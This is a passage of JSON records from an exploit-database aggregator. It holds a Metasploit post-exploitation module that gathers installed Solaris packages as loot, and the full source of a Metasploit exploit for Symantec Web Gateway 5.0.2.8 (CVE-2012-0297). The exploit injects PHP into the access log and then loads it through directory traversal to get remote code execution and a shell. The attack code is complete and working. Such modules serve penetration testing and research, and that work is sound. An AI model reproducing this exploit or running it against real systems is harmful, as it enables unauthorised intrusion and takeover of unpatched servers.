"https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/symantec_web_gateway_lfi.rb"}, {"lastseen": "2020-01-08T03:07:25", "bulletinFamily": "exploit", "description": "Post Module to enumerate installed packages on a Solaris System\n", "modified": "2017-07-24T13:26:21", "published": "2011-06-10T03:08:47", "id": "MSF:POST/SOLARIS/GATHER/ENUM_PACKAGES", "href": "", "type": "metasploit", "title": "Solaris Gather Installed Packages", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Post\n include Msf::Post::File\n include Msf::Post::Solaris::System\n\n\n def initialize(info={})\n super( update_info( info,\n 'Name' => 'Solaris Gather Installed Packages',\n 'Description' => %q{ Post Module to enumerate installed packages on a Solaris System},\n 'License' => MSF_LICENSE,\n 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],\n 'Platform' => [ 'solaris' ],\n 'SessionTypes' => [ 'shell' ]\n ))\n\n end\n\n # Run Method for when run command is issued\n def run\n distro = get_sysinfo\n print_status(\"Running Module against #{distro[:hostname]}\")\n packages = cmd_exec(\"/usr/bin/pkginfo -l\")\n pkg_loot = store_loot(\"solaris.packages\", \"text/plain\", session, packages, \"installed_packages.txt\", \"Solaris Installed Packages\")\n print_good(\"Package list saved to loot file: #{pkg_loot}\")\n\n if datastore['VERBOSE']\n packages.each do |p|\n print_good(\"\\t#{p.chomp}\")\n end\n end\n\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/post/solaris/gather/enum_packages.rb"}], "zdt": [{"lastseen": "2018-04-10T05:41:10", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category remote exploits", "modified": "2012-05-28T00:00:00", "published": "2012-05-28T00:00:00", "id": "1337DAY-ID-18378", "href": "https://0day.today/exploit/description/18378", "type": "zdt", "title": "Symantec Web Gateway 5.0.2.8 Command Execution", "sourceData": "##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n \r\nrequire 'msf/core'\r\n \r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n \r\n include Msf::Exploit::Remote::HttpClient\r\n \r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => \"Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability\",\r\n 'Description' => %q{\r\n This module exploits a vulnerability found in Symantec Web Gateway's HTTP\r\n service. By injecting PHP code in the access log, it is possible to load it\r\n with a directory traversal flaw, which allows remote code execution under the\r\n context of 'apache'. Please note that it may take up to several minutes to\r\n retrieve access_log, which is about the amount of time required to see a shell\r\n back.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Unknown', #Discovery\r\n 'muts', #PoC\r\n 'sinn3r' #Metasploit\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2012-0297'],\r\n ['EDB', '18932'],\r\n ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']\r\n ],\r\n 'Payload' =>\r\n {\r\n 'BadChars' => \"\\x00\"\r\n },\r\n 'DefaultOptions' =>\r\n {\r\n 'WfsDelay' => 300, #5 minutes\r\n 'DisablePayloadHandler' => 'false',\r\n 'ExitFunction' => \"none\"\r\n },\r\n 'Platform' => ['php'],\r\n 'Arch' => ARCH_PHP,\r\n 'Targets' =>\r\n [\r\n ['Symantec Web Gateway 5.0.2.8', {}],\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => \"May 17 2012\",\r\n 'DefaultTarget' => 0))\r\n end\r\n \r\n \r\n def check\r\n res = send_request_raw({\r\n 'method' => 'GET',\r\n 'uri' => '/spywall/login.php'\r\n })\r\n \r\n if res and res.body =~ /\\<title\\>Symantec Web Gateway\\<\\/title\\>/\r\n return Exploit::CheckCode::Detected\r\n else\r\n return Exploit::CheckCode::Safe\r\n end\r\n end\r\n \r\n \r\n def exploit\r\n peer = \"#{rhost}:#{rport}\"\r\n \r\n php = %Q|<?php #{payload.encoded} ?>|\r\n \r\n # Inject PHP to log\r\n print_status(\"#{peer} - Injecting PHP to log...\")\r\n res = send_request_raw({\r\n 'method' => 'GET',\r\n 'uri' => \"/#{php}\"\r\n })\r\n \r\n select(nil, nil, nil, 1)\r\n \r\n # Use the directory traversal to load the PHP code\r\n # access_log takes a long time to retrieve\r\n print_status(\"#{peer} - Loading PHP code..\")\r\n send_request_raw({\r\n 'method' => 'GET',\r\n 'uri' => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'\r\n })\r\n \r\n print_status(\"#{peer} - Waiting for a session, may take some time...\")\r\n \r\n select(nil, nil, nil, 1)\r\n \r\n handler\r\n end\r\nend\r\n\r\n\n\n# 0day.today [2018-04-10] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/18378"}]}
